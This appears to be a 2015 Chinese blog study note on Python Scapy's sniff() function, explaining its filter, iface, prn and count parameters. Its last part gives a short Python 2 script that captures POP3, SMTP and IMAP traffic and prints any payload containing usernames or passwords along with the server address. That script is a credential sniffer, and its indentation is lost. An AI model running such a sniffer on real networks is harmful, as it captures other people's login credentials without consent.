我的Github:   Github

python-scapy学习笔记-(1)

主要功能函数sniff

sniff(filter="",iface="any",prn=function,count=N)

filter参数允许我们对Scapy嗅探的数据包指定一个BPF(Wireshark类型)的过滤器,也可以留空以嗅探所有的数据包。

  例如:嗅探所有的HTTP数据包,tcp port 80的BPF过滤

iface参数设置嗅探器所要嗅探的网卡,留空则对所有网卡进行嗅探。

  例如:wlan0

prn参数指定嗅探到符合过滤器条件的数据包时所调用的回调函数,这个回调函数以接受到的数据包对象作为唯一的参数。

  例如:

  def pack_callback(packet):
  print packet.show()

  sniff(prn=pack_callback,iface="wlan0",count=1)

count参数指定你需要嗅探的数据包的个数,留空则默认为嗅探无限个

 

此处添加一个嗅探mail的源码

 

#coding:utf-8
from scapy.all import *
def pack_callback(packet):
print packet.show()
if packet[TCP].payload:
mail_packet=str(packet[TCP].payload)
if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
print "Server:%s"%packet[IP].dst
print "%s"%packet[TCP].payload

sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=pack_callback,iface="wlan0",count=0)

 

posted @ 2015-12-02 22:30  寂夜云  阅读(17530)  评论(0编辑  收藏  举报